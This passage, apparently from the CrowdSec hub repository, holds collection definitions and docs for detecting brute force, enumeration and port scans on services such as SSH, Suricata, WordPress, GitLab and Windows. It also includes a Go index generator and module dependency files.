against common attacks : - ssh parser - ssh bruteforce & enumeration detection - ssh 'slow' bruteforce & enumeration detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/auth.log labels: type: syslog ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/sshd.yaml000066400000000000000000000003441437532772500210060ustar00rootroot00000000000000parsers: - crowdsecurity/sshd-logs scenarios: - crowdsecurity/ssh-bf - crowdsecurity/ssh-slow-bf description: "sshd support : parser and brute-force detection" author: crowdsecurity tags: - linux - ssh - bruteforce hub1/collections/crowdsecurity/suricata.md000066400000000000000000000015421437532772500213170ustar00rootroot00000000000000## Suricata collection A collection for the [Suricata](https://suricata.io/) IDS/IPS. This collection contains : - Parsers for Suricata logs (both `fast.log` and `eve.json` formats) - Scenarios for Suricata alerts : - trigger ban on *Major* (severity:1) rules - trigger ban on >2 **distinct** rules of severity 2 Note: Tested with Suricata 6 ## Acquisition template Example acquisition for this collection : ```yaml filename: /var/log/suricata/eve.json labels: type: suricata-evelogs ``` **or** ```yaml filename: /var/log/suricata/fast.log labels: type: suricata-fastlogs ``` notes : - Using both acquisitions simultaneously will lead to double decisions or unpredictable behavior. `eve.json` should be preferred. - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/suricata.yaml000066400000000000000000000003521437532772500216570ustar00rootroot00000000000000parsers: - crowdsecurity/suricata-logs scenarios: - crowdsecurity/suricata-alerts description: "suricata support : parser and automatic remediation on high/major alerts" author: crowdsecurity tags: - linux - suricata - IDS hub1/collections/crowdsecurity/synology-dsm.md000066400000000000000000000001601437532772500221430ustar00rootroot00000000000000## Synology DSM collection This Synology DSM collection supports : - web authentication bruteforce detection hub1/collections/crowdsecurity/synology-dsm.yaml000066400000000000000000000006461437532772500225160ustar00rootroot00000000000000# Synology DSM parsers parsers: - crowdsecurity/synology-dsm-logs # Synology DSM collections #collections: # - # the list of postoverflows it contains # postoverflows: # - crowdsecurity/seo-bots-whitelist # the list of scenarios it contains scenarios: - crowdsecurity/synology-dsm-bf description: "Synology DSM web authentication support" author: crowdsecurity tags: - linux - synology - bruteforce - scan hub1/collections/crowdsecurity/teamspeak3.md000066400000000000000000000007641437532772500215460ustar00rootroot00000000000000## Teamspeak3 collection A collection for the [TeamSpeak](https://teamspeak.com/en/) server. This collection contains : - Parsers for TeamSpeak logs - Scenario to detect brute force attacks ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /usr/local/teamspeak/logs/ts3server_*.log - /home/teamspeak/log/server/ts3server_*.log labels: type: ts3 ``` notes : - Teamspeak doesn't provide a standard installer, so the log path is relative to your setup hub1/collections/crowdsecurity/teamspeak3.yaml000066400000000000000000000003371437532772500221040ustar00rootroot00000000000000parsers: - crowdsecurity/teamspeak3-logs scenarios: - crowdsecurity/teamspeak3-bf description: "teamspeak3 support : parser and brute-force detection" author: crowdsecurity tags: - linux - teamspeak3 - bruteforce hub1/collections/crowdsecurity/thehive.md000066400000000000000000000000001437532772500211240ustar00rootroot00000000000000hub1/collections/crowdsecurity/thehive.yaml000066400000000000000000000003361437532772500215020ustar00rootroot00000000000000parsers: - crowdsecurity/thehive-logs scenarios: - crowdsecurity/thehive-bf description: "Thehive support : parser and brute-force detection" author: crowdsecurity tags: - soc - security - thehive - bruteforce hub1/collections/crowdsecurity/traefik.md000066400000000000000000000010601437532772500211240ustar00rootroot00000000000000## Traefik collection > Co-authored with (https://github.com/gmelodie) A collection to defend traefik against common attacks: - traefik parser (supports CLF and JSON) - base http scenarios (crawl, 404 scan, bf) ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/traefik/*.log labels: type: traefik ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/traefik.yaml000066400000000000000000000004301437532772500214660ustar00rootroot00000000000000# co-authored with gmelodie (https://github.com/gmelodie) parsers: - crowdsecurity/traefik-logs collections: - crowdsecurity/base-http-scenarios description: "traefik support: parser and generic http scenarios" author: crowdsecurity tags: - traefik - http - bruteforce hub1/collections/crowdsecurity/unifi.md000066400000000000000000000012061437532772500206130ustar00rootroot00000000000000## Unifi collection A collection to defend Unifi gear against common attacks : - Unifi syslog parser: `crowdsecurity/unifi-logs` - Dropbear parser: `crowdsecurity/dropbear-logs` - SSH bruteforce scenario : `crowdsecurity/ssh-bf` - Iptables parser: `crowdsecurity/iptables-logs` - Port scan detection: `crowdsecurity/iptables-scan-multi_ports` ## Acquisition template Example acquisition for this collection : ```yaml source: syslog listen_addr: 0.0.0.0 listen_port: 4242 labels: type: unifi ``` notes : - While the unifi gear uses syslog to send the logs, the format is non-compliant with the RFC, so you need to set the type to `unifi` hub1/collections/crowdsecurity/unifi.yaml000066400000000000000000000004641437532772500211620ustar00rootroot00000000000000parsers: - crowdsecurity/unifi-logs - crowdsecurity/dropbear-logs scenarios: - crowdsecurity/ssh-bf collections: - crowdsecurity/iptables description: "Unifi support: syslog parser + port scan + SSH BF detection" author: crowdsecurity tags: - unifi - ssh - bruteforce - dropbear - portscan hub1/collections/crowdsecurity/vsftpd.md000066400000000000000000000010021437532772500210010ustar00rootroot00000000000000## VsFTPD collection A collection to defend VSFTPD against common attacks : - VSFTPD parser: `crowdsecurity/vsftpd-logs` - bruteforce scenario : `crowdsecurity/vsftpd-bf` ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/vsftpd/*.log labels: type: vsftpd ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/crowdsecurity/vsftpd.yaml000066400000000000000000000003121437532772500213460ustar00rootroot00000000000000parsers: - crowdsecurity/vsftpd-logs scenarios: - crowdsecurity/vsftpd-bf description: "VSFTPD support : logs and brute-force scenarios" author: crowdsecurity tags: - linux - ftp - bruteforce hub1/collections/crowdsecurity/whitelist-good-actors.md000066400000000000000000000003021437532772500237300ustar00rootroot00000000000000A collection to whitelist all good actors : - rdns to use it in whitelists that need rdns - rdns of all good search engine crawlers (googlebot, bing etc...) - trusted partners like cloudflarehub1/collections/crowdsecurity/whitelist-good-actors.yaml000066400000000000000000000003211437532772500242730ustar00rootroot00000000000000postoverflows: - crowdsecurity/seo-bots-whitelist - crowdsecurity/cdn-whitelist - crowdsecurity/rdns description: "Good actors whitelists" author: crowdsecurity tags: - whitelist - bots - partners hub1/collections/crowdsecurity/windows-cve.md000066400000000000000000000007331437532772500217520ustar00rootroot00000000000000A collection of windows specific CVEs : - [MSDT CVE-2022-30190](https://nvd.nist.gov/vuln/detail/CVE-2022-30190) :warning: This collection requires a working [sysmon](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon) installation. This is still a proof-of-concept, and will gain more scenarios over time. Example acquisition config: ``` source: wineventlog pretty_name: sysmon event_channel: "Microsoft-Windows-Sysmon/Operational" labels: type: sysmon ```hub1/collections/crowdsecurity/windows-cve.yaml000066400000000000000000000004131437532772500223070ustar00rootroot00000000000000parsers: - crowdsecurity/windows-logs - crowdsecurity/sysmon-logs scenarios: - crowdsecurity/windows-CVE-2022-30190-msdt description: "windows CVE: try to detect local CVE exploitation on windows." author: crowdsecurity tags: - windows - local - exploit hub1/collections/crowdsecurity/windows-firewall.md000066400000000000000000000012311437532772500227740ustar00rootroot00000000000000## Windows firewall collection A collection for portscan detection via windows firewall logs : - Windows firewall logs parser - multi port scan detection ## Acquisition template Example acquisition for this collection : ```yaml filenames: - C:\\Windows\\System32\\LogFiles\\Firewall\\pfirewall.log labels: type: windows-firewall ``` notes : - This collection uses the `crowdsecurity/iptables-scan-multi_ports` scenario because we are bad at naming :) - Because Windows enables stealth mode by default, only scan targeted to port that have a listeners will be logged, so we will probably miss some attacks (we do NOT recommand disabling stealth mode) hub1/collections/crowdsecurity/windows-firewall.yaml000066400000000000000000000003601437532772500233400ustar00rootroot00000000000000parsers: - crowdsecurity/windows-firewall-logs scenarios: - crowdsecurity/iptables-scan-multi_ports description: "windows firewall support : logs and port-scans detection scenarios" author: crowdsecurity tags: - windows - portscan hub1/collections/crowdsecurity/windows.md000066400000000000000000000002071437532772500211730ustar00rootroot00000000000000## Windows collection This collection installs a parser for windows event logs + flat file, and a parser/scenario for auth bruteforce hub1/collections/crowdsecurity/windows.yaml000066400000000000000000000004411437532772500215350ustar00rootroot00000000000000parsers: - crowdsecurity/windows-logs - crowdsecurity/windows-auth - crowdsecurity/geoip-enrich - crowdsecurity/dateparse-enrich scenarios: - crowdsecurity/windows-bf description: "core windows support : windows event log + bf detection" author: crowdsecurity tags: - windows hub1/collections/crowdsecurity/wordpress.md000066400000000000000000000002321437532772500215270ustar00rootroot00000000000000A collection to defend wordpress against commons scanner behaviors : - wp-login.php bruteforce detection - wp-config.php probing - author enumeration hub1/collections/crowdsecurity/wordpress.yaml000066400000000000000000000004161437532772500220750ustar00rootroot00000000000000scenarios: - crowdsecurity/http-bf-wordpress_bf - crowdsecurity/http-wordpress_wpconfig - crowdsecurity/http-wordpress_user-enum description: "wordpress: Bruteforce protection and config probing" author: crowdsecurity tags: - linux - wordpress - bruteforce hub1/collections/firewallservices/000077500000000000000000000000001437532772500176235ustar00rootroot00000000000000hub1/collections/firewallservices/lemonldap-ng.yaml000066400000000000000000000003321437532772500230620ustar00rootroot00000000000000scenarios: - firewallservices/lemonldap-ng-bf parsers: - firewallservices/lemonldap-ng description: "Lemonldap::NG support : parser and brutefurce detection" author: firewallservices tags: - linux - bruteforce hub1/collections/firewallservices/pf.md000066400000000000000000000000661437532772500205540ustar00rootroot00000000000000A collection to detect port scan on PfSense / FreeBSD hub1/collections/firewallservices/pf.yaml000066400000000000000000000003451437532772500211160ustar00rootroot00000000000000scenarios: - firewallservices/pf-scan-multi_ports parsers: - firewallservices/pf-logs description: "Parser and scenario for Packet Filter logs" author: firewallservices tags: - firewall - pfsense - freebsd - portscan hub1/collections/firewallservices/zimbra.md000066400000000000000000000007561437532772500214410ustar00rootroot00000000000000## Zimbra collection A collection to parse Zimbra's logs and detect brut force on the following services - web authentication form - SMTP - IMAP ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /opt/zimbra/log/mailbox.log labels: type: zimbra ``` notes : - If you are using `syslog`, set type to `syslog` instead - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/firewallservices/zimbra.yaml000066400000000000000000000003351437532772500217740ustar00rootroot00000000000000parsers: - firewallservices/zimbra-logs scenarios: - firewallservices/zimbra-bf description: "zimbra support : parser and spammer detection" author: firewallservices tags: - linux - spam - bruteforce - zimbra hub1/collections/fulljackz/000077500000000000000000000000001437532772500162375ustar00rootroot00000000000000hub1/collections/fulljackz/proxmox.yaml000066400000000000000000000004001437532772500206310ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - fulljackz/proxmox-logs scenarios: - fulljackz/proxmox-bf description: "Proxmox Web interface support : parser for brute force detection on Proxmox VE Web UI" author: fulljackz tags: - Proxmox - bruteforce hub1/collections/fulljackz/pureftpd.md000066400000000000000000000002261437532772500204120ustar00rootroot00000000000000A collection to defend PUREFTPD against common attacks : - PUREFTPD parser: `fulljackz/pureftpd-logs` - bruteforce scenario : `fulljackz/pureftpd-bf` hub1/collections/fulljackz/pureftpd.yaml000066400000000000000000000003541437532772500207560ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - fulljackz/pureftpd-logs scenarios: - fulljackz/pureftpd-bf description: "Pureftpd support : parser for brute force detection on Pureftpd" author: fulljackz tags: - Pureftpd - bruteforce hub1/collections/hitech95/000077500000000000000000000000001437532772500156745ustar00rootroot00000000000000hub1/collections/hitech95/nginx-mail.md000066400000000000000000000014471437532772500202670ustar00rootroot00000000000000## Nginx Mail collection A collection for Nginx mail proxy * Nginx Mail core module log parsers * Nginx Mail auth module scenario bruteforce spam attempt It is recommended having the `crowdsecurity/nginx` collection installed! > Contribution by https://github.com/hitech95 ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/nginx/*.log - ./tests/nginx/nginx.log #this is not a syslog log, indicate which kind of logs it is labels: type: nginx ``` If you are running Nginx inside docker, like [mailu](https://mailu.io/): ```yaml --- source: docker container_name: - mailu-front labels: type: nginx ``` notes : - Depending on your distribution/OS, paths to log files might change - Only relevant if you are manually installing collection hub1/collections/hitech95/nginx-mail.yaml000066400000000000000000000003201437532772500206160ustar00rootroot00000000000000parsers: - hitech95/nginx-mail-logs scenarios: - hitech95/mail-generic-bf description: "nginx email core : parser and spammer detection" author: hitech95 tags: - linux - spam - bruteforce - email hub1/collections/jusabatier/000077500000000000000000000000001437532772500164035ustar00rootroot00000000000000hub1/collections/jusabatier/apereo-cas.md000066400000000000000000000002511437532772500207420ustar00rootroot00000000000000A collection to defend Apereo CAS against common attacks : * CAS audits parser * CAS bruteforce & enumeration detection * CAS 'slow' bruteforce & enumeration detection hub1/collections/jusabatier/apereo-cas.yaml000066400000000000000000000003641437532772500213110ustar00rootroot00000000000000parsers: - jusabatier/apereo-cas-audit-logs scenarios: - jusabatier/apereo-cas-bf - jusabatier/apereo-cas-slow-bf description: "APEREO-CAS support : parser and brute-force detection" author: jusabatier tags: - Apereo CAS - bruteforce hub1/collections/lourys/000077500000000000000000000000001437532772500156075ustar00rootroot00000000000000hub1/collections/lourys/pterodactyl.md000066400000000000000000000004141437532772500204620ustar00rootroot00000000000000## Pterodactyl collection A collection to defend pterodactyl against common attacks : - Bruteforce against sftp ## Acquisition template Example acquisition for this collection : ```yaml filenames: - /var/log/pterodactyl/wings.log labels: type: pterodactyl ```hub1/collections/lourys/pterodactyl.yaml000066400000000000000000000003611437532772500210250ustar00rootroot00000000000000parsers: - lourys/pterodactyl-wings-logs collections: scenarios: - lourys/pterodactyl-wings-bf description: "pterodactyl wings support : parser and generic wings bruteforce" author: lourys tags: - pterodactyl - wings - brute-force hub1/collections/mstilkerich/000077500000000000000000000000001437532772500165705ustar00rootroot00000000000000hub1/collections/mstilkerich/bind9.md000066400000000000000000000011161437532772500201160ustar00rootroot00000000000000## Bind9 collection A collection for bind9 * Log parser for supporting both logs in syslog and separate bind9 logfile * Scenario that detects bind9 security policy violations This collection should address the same events as the fail2ban named-refused jail. ## Acquisition template Acquisition configuration depends on whether bind9 is configured to log to syslog, separate log files, or both. For a separate log file, set the log type to `named`: ```yaml filenames: - /var/log/named/security.log labels: type: named ``` If you are using syslog, set type to `syslog` instead. hub1/collections/mstilkerich/bind9.yaml000066400000000000000000000002651437532772500204640ustar00rootroot00000000000000parsers: - mstilkerich/bind9-logs scenarios: - mstilkerich/bind9-refused description: "bind9 support : security policy violations detection" author: mstilkerich tags: - linux hub1/collections/schiz0phr3ne/000077500000000000000000000000001437532772500165725ustar00rootroot00000000000000hub1/collections/schiz0phr3ne/prowlarr.md000066400000000000000000000006361437532772500207710ustar00rootroot00000000000000A collection to defend your [Prowlarr](https://github.com/Prowlarr/Prowlarr) instance against common attacks: - Prowlarr parser - Prowlarr brute-force & enumeration detection ## Acquisition template Example acquisition for this collection: ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog ``` Depending on your installation method, you may need to change the acquisition template. hub1/collections/schiz0phr3ne/prowlarr.yaml000066400000000000000000000003251437532772500213260ustar00rootroot00000000000000parsers: - schiz0phr3ne/prowlarr-logs scenarios: - schiz0phr3ne/prowlarr-bf description: "Prowlarr support: parser and brute-force detections" author: schiz0phr3ne tags: - linux - brute-force - prowlarr hub1/collections/schiz0phr3ne/radarr.md000066400000000000000000000006241437532772500203710ustar00rootroot00000000000000A collection to defend your [Radarr](https://github.com/Radarr/Radarr) instance against common attacks: - Radarr parser - Radarr brute-force & enumeration detection ## Acquisition template Example acquisition for this collection: ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog ``` Depending on your installation method, you may need to change the acquisition template. hub1/collections/schiz0phr3ne/radarr.yaml000066400000000000000000000003151437532772500207300ustar00rootroot00000000000000parsers: - schiz0phr3ne/radarr-logs scenarios: - schiz0phr3ne/radarr-bf description: "Radarr support: parser and brute-force detections" author: schiz0phr3ne tags: - linux - brute-force - radarr hub1/collections/schiz0phr3ne/sonarr.md000066400000000000000000000006241437532772500204220ustar00rootroot00000000000000A collection to defend your [Sonarr](https://github.com/Sonarr/Sonarr) instance against common attacks: - Sonarr parser - Sonarr brute-force & enumeration detection ## Acquisition template Example acquisition for this collection: ```yaml --- source: file filenames: - /var/log/syslog labels: type: syslog ``` Depending on your installation method, you may need to change the acquisition template. hub1/collections/schiz0phr3ne/sonarr.yaml000066400000000000000000000003151437532772500207610ustar00rootroot00000000000000parsers: - schiz0phr3ne/sonarr-logs scenarios: - schiz0phr3ne/sonarr-bf description: "Sonarr support: parser and brute-force detections" author: schiz0phr3ne tags: - linux - brute-force - sonarr hub1/collections/thespad/000077500000000000000000000000001437532772500157025ustar00rootroot00000000000000hub1/collections/thespad/sshesame.md000066400000000000000000000006651437532772500200430ustar00rootroot00000000000000# sshesame collection A collection to parse sshesame honeypot logs. * sshesame log parser * sshesame login and command scenarios ## Acquisition template Example acquisition for this collection: ```yaml filenames: - /var/log/sshesame.log labels: type: sshesame ``` ## Notes * The parser expects sshesame log timestamps to be enabled * The command scenario will immediately overflow on any command received from a remote client hub1/collections/thespad/sshesame.yaml000066400000000000000000000003161437532772500203760ustar00rootroot00000000000000parsers: - thespad/sshesame-logs - crowdsecurity/dateparse-enrich scenarios: - thespad/sshesame-honeypot description: "Collection for sshesame SSH honeypot" author: thespad tags: - sshesame - ssh hub1/collections/timokoessler/000077500000000000000000000000001437532772500167725ustar00rootroot00000000000000hub1/collections/timokoessler/gitlab.md000066400000000000000000000011461437532772500205600ustar00rootroot00000000000000A collection to defend your [GitLab](https://about.gitlab.com) Web UI against common attacks: - GitLab parser - GitLab brute-force & enumeration detection Tested with the Omnibus package v14 and v15. ## Acquisition template Example acquisition for this collection: ```yaml --- filenames: - /var/log/gitlab/gitlab-rails/production_json.log labels: type: gitlab ``` or for Docker: ```yaml --- source: docker container_name: - my_container_name labels: type: gitlab ``` Depending on your gitlab installation method, paths to log files might change. Tip: Don't forget to add GitLabs Nginx logs to CrowdSec.hub1/collections/timokoessler/gitlab.yaml000066400000000000000000000003131437532772500211150ustar00rootroot00000000000000parsers: - timokoessler/gitlab-logs scenarios: - timokoessler/gitlab-bf description: "GitLab support: parser and brute-force detection" author: timokoessler tags: - linux - brute-force - gitlabhub1/collections/timokoessler/mongodb.md000066400000000000000000000010201437532772500207320ustar00rootroot00000000000000A collection to defend [MongoDB](https://www.mongodb.com/) against common attacks: - MongoDB parser - MongoDB brute-force & enumeration detection MongoDB version 4.4 or higher is required. ## Acquisition template Example acquisition for a docker container: ```yaml --- source: docker container_name: - my_container_name labels: type: mongodb ``` or for a log file: ```yaml --- filenames: - /var/log/mongodb/mongodb.log labels: type: mongodb ``` Depending on your installation method, paths to log files might change.hub1/collections/timokoessler/mongodb.yaml000066400000000000000000000003171437532772500213040ustar00rootroot00000000000000parsers: - timokoessler/mongodb-logs scenarios: - timokoessler/mongodb-bf description: "MongoDB support: parser and brute-force detection" author: timokoessler tags: - linux - brute-force - mongodbhub1/collections/timokoessler/uptime-kuma.md000066400000000000000000000007561437532772500215620ustar00rootroot00000000000000A collection to defend your [Uptime Kuma](https://github.com/louislam/uptime-kuma) instance against common attacks: - Uptime Kuma parser - Uptime Kuma brute-force & enumeration detection **Uptime Kuma version 1.15.0 or higher is required.** ## Acquisition template Example acquisition for this collection: ```yaml --- source: docker container_name: - my_container_name labels: type: uptime-kuma ``` Depending on your installation method, you may need to change the acquisition template.hub1/collections/timokoessler/uptime-kuma.yaml000066400000000000000000000003371437532772500221170ustar00rootroot00000000000000parsers: - timokoessler/uptime-kuma-logs scenarios: - timokoessler/uptime-kuma-bf description: "Uptime Kuma support: parser and brute-force detection" author: timokoessler tags: - linux - brute-force - uptime-kumahub1/generate.go000066400000000000000000000122451437532772500140610ustar00rootroot00000000000000package main import ( "encoding/base64" "fmt" "io/ioutil" "log" "os" "path" "path/filepath" "strconv" "strings" "gopkg.in/yaml.v2" ) func inSlice(s string, slice []string) bool { for _, str := range slice { if str == s { return true } } return false } func (ti *typeInfo) generate(filepath string, configType string) (string, error) { pathSplit := strings.Split(filepath, "/") //generate doc path ? pdocpath := strings.Replace(filepath, ".yaml", ".md", 1) pdocpath = strings.Replace(pdocpath, ".yml", ".md", 1) if pathSplit[0] != configType { return "", fmt.Errorf("invalid filepath (doesn't start with scenarios) : %s", filepath) } // Remove the first item (we don't need it) pathSplit = pathSplit[1:] // set user, stage and config name var user string var configName string if configType == "parsers" || configType == "postoverflows" { if len(pathSplit) != 3 { return "", fmt.Errorf("invalid filepath '%s', should be : './%s///'", configType, filepath) } ti.Stage = pathSplit[0] user = pathSplit[1] configName = pathSplit[2] configName = strings.Split(configName, ".")[0] } else if configType == "scenarios" { if len(pathSplit) != 2 { return "", fmt.Errorf("invalid filepath '%s', should be : './scenarios//'", filepath) } user = pathSplit[0] configName = pathSplit[1] configName = strings.Split(configName, ".")[0] } else if configType == "collections" { if len(pathSplit) != 2 { return "", fmt.Errorf("invalid filepath '%s', should be : './collections//'", filepath) } user = pathSplit[0] configName = pathSplit[1] configName = strings.Split(configName, ".")[0] } // set the filepath ti.Path = filepath // set the author from the user ti.Author = user // set file information : autor, references, description /* Get description, author and references from the file */ var fInfo fileInfo yamlFile, err := ioutil.ReadFile(filepath) if err != nil { return "", err } err = yaml.Unmarshal(yamlFile, &fInfo) if err != nil { return "", err } if fInfo.Author != "" { ti.Author = fInfo.Author } if len(fInfo.References) > 0 { ti.References = fInfo.References } if fInfo.Description != "" { ti.Description = fInfo.Description } if fInfo.Labels != nil { ti.Labels = fInfo.Labels // var tags_to_keep = []string{"service", "type"} // for _, v := range tags_to_keep { // if x, ok := fInfo.Labels[v]; ok { // ti.Tags = append(ti.Tags, x) // } // } } if configType == "collections" { if len(fInfo.Parsers) > 0 { ti.Parsers = fInfo.Parsers } else { ti.Parsers = nil } if len(fInfo.PostOverflows) > 0 { ti.PostOverflows = fInfo.PostOverflows } else { ti.PostOverflows = nil } if len(fInfo.Scenarios) > 0 { ti.Scenarios = fInfo.Scenarios } else { ti.Scenarios = nil } if len(fInfo.Collections) > 0 { ti.Collections = fInfo.Collections } else { ti.Collections = nil } } // versions informations (digest and deprecated for each version) if len(ti.Versions) == 0 { ti.Versions = make(map[string]versionInfo) h, err := getSHA256(filepath) if err != nil { return "", fmt.Errorf("unable to get sha256 of '%s' : %v", filepath, err) } var vInfo versionInfo vInfo.Digest = h vInfo.Deprecated = false ti.Versions["0.1"] = vInfo ti.Version = "0.1" } else { lastVersion := ti.Version lastDigest := ti.Versions[lastVersion].Digest currentDigest, err := getSHA256(filepath) if err != nil { return "", fmt.Errorf("unable to get sha256 of '%s' : %v", filepath, err) } if currentDigest != lastDigest { floatVersion, err := strconv.ParseFloat(ti.Version, 32) if err != nil { return "", fmt.Errorf("unable to convert version '%s' to float : %s", ti.Version, err.Error()) } newVersion := fmt.Sprintf("%0.1f", floatVersion+0.1) ti.Version = newVersion log.Printf("%s new version : %s (sha:%s)", ti.Path, newVersion, currentDigest) var vInfo versionInfo vInfo.Digest = currentDigest vInfo.Deprecated = false ti.Versions[newVersion] = vInfo } } hubName := fmt.Sprintf("%s/%s", user, configName) /*if we're all good, check if markdown documentation exists and join it*/ //pdocpath mdFile, err := ioutil.ReadFile(pdocpath) if err == nil { ti.LongDescription = base64.StdEncoding.EncodeToString([]byte(string(mdFile))) } ti.FileContent = base64.StdEncoding.EncodeToString([]byte(string(yamlFile))) return hubName, nil } func generateIndex(configType string) (map[string]typeInfo, error) { var files []string tInfo := make(map[string]typeInfo) folder := path.Join("./", configType) err := filepath.Walk(folder, func(path string, info os.FileInfo, err error) error { if strings.HasSuffix(path, ".yaml") || strings.HasSuffix(path, ".yml") { files = append(files, path) } return nil }) if err != nil { panic(err) } for _, filepath := range files { if strings.HasPrefix(filepath, folder) { var info typeInfo var hubName string var err error hubName, err = info.generate(filepath, configType) if err != nil { fmt.Printf("skipping '%s' because : %s\n", filepath, err.Error()) } else { tInfo[hubName] = info } } } return tInfo, nil } hub1/go.mod000066400000000000000000000021761437532772500130500ustar00rootroot00000000000000module main go 1.13 require ( github.com/antonmedv/expr v1.9.0 // indirect github.com/asaskevich/govalidator v0.0.0-20210307081110-f21760c49a8d // indirect github.com/crowdsecurity/crowdsec v1.2.0 github.com/crowdsecurity/grokky v0.0.0-20210908140943-c4460be565eb // indirect github.com/go-openapi/errors v0.20.1 // indirect github.com/go-openapi/loads v0.20.3 // indirect github.com/go-openapi/runtime v0.20.0 // indirect github.com/go-openapi/spec v0.20.4 // indirect github.com/go-openapi/strfmt v0.20.3 // indirect github.com/go-openapi/validate v0.20.3 // indirect github.com/go-stack/stack v1.8.1 // indirect github.com/google/go-github/v48 v48.1.0 github.com/hashicorp/go-version v1.3.0 // indirect github.com/mailru/easyjson v0.7.7 // indirect github.com/mitchellh/mapstructure v1.4.2 // indirect github.com/pkg/errors v0.9.1 go.mongodb.org/mongo-driver v1.7.3 // indirect golang.org/x/mod v0.5.1 // indirect golang.org/x/net v0.0.0-20211014222326-fd004c51d1d6 // indirect golang.org/x/oauth2 v0.0.0-20200107190931-bf48bf16ab8d golang.org/x/sys v0.0.0-20211013075003-97ac67df715c // indirect gopkg.in/yaml.v2 v2.4.0 ) hub1/go.sum000066400000000000000000002737271437532772500131110ustar00rootroot00000000000000cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/datastore v1.0.0/go.mod h1:LXYbyblFSglQ5pkeyhO+Qmw7ukd3C+pD7TKLgZqpHYE= cloud.google.com/go/firestore v1.1.0/go.mod h1:ulACoGHTpvq5r8rxGJ4ddJZBZqakUQqClKRT5SZwBmk= cloud.google.com/go/pubsub v1.0.1/go.mod h1:R0Gpsv3s54REJCy4fxDixWD93lHJMoZTyQ2kNxGRt3I= cloud.google.com/go/storage v1.0.0/go.mod h1:IhtSnM/ZTZV8YYJWCY8RULGVqBDmpoyjwiyrjsg+URw= dmitri.shuralyov.com/gpu/mtl v0.0.0-20190408044501-666a987793e9/go.mod h1:H6x//7gZCb22OMCxBHrMx7a5I7Hp++hsVxbQ4BYO7hU= entgo.io/ent v0.7.0/go.mod h1:HZZJxglL8ro4OVDmM06lijj4bOTGcaDdrZttDZ8fVJs= github.com/AlecAivazis/survey/v2 v2.2.7/go.mod h1:9DYvHgXtiXm6nCn+jXnOXLKbH+Yo9u8fAS/SduGdoPk= github.com/Azure/go-ansiterm v0.0.0-20170929234023-d6e3b3328b78/go.mod h1:LmzpDX56iTiv29bbRTIsUNlaFfuhWRQBWjQdVyAevI8= github.com/BurntSushi/toml v0.3.1 h1:WXkYYl6Yr3qBf1K79EBnL4mak0OimBfB0XUf9Vl28OQ= github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU= github.com/BurntSushi/xgb v0.0.0-20160522181843-27f122750802/go.mod h1:IVnqGOEym/WlBOVXweHU+Q+/VP0lqqI8lqeDx9IjBqo= github.com/DATA-DOG/go-sqlmock v1.3.3/go.mod h1:f/Ixk793poVmq4qj/V1dPUg2JEAKC73Q5eFN3EC/SaM= github.com/DATA-DOG/go-sqlmock v1.5.0/go.mod h1:f/Ixk793poVmq4qj/V1dPUg2JEAKC73Q5eFN3EC/SaM= github.com/Knetic/govaluate v3.0.1-0.20171022003610-9aa49832a739+incompatible/go.mod h1:r7JcOSlj0wfOMncg0iLm8Leh48TZaKVeNIfJntJ2wa0= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuNhlNS5hqE0NB0E6fgfo2Br3o= github.com/Microsoft/go-winio v0.4.16/go.mod h1:XB6nPKklQyQ7GC9LdcBEcBl8PF76WugXOPRXwdLnMv0= github.com/Netflix/go-expect v0.0.0-20180615182759-c93bf25de8e8/go.mod h1:oX5x61PbNXchhh0oikYAH+4Pcfw5LKv21+Jnpr6r6Pc= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/PuerkitoBio/purell v1.1.0/go.mod h1:c11w/QuzBsJSee3cPx9rAFu61PvFxuPbtSwDGJws/X0= github.com/PuerkitoBio/purell v1.1.1 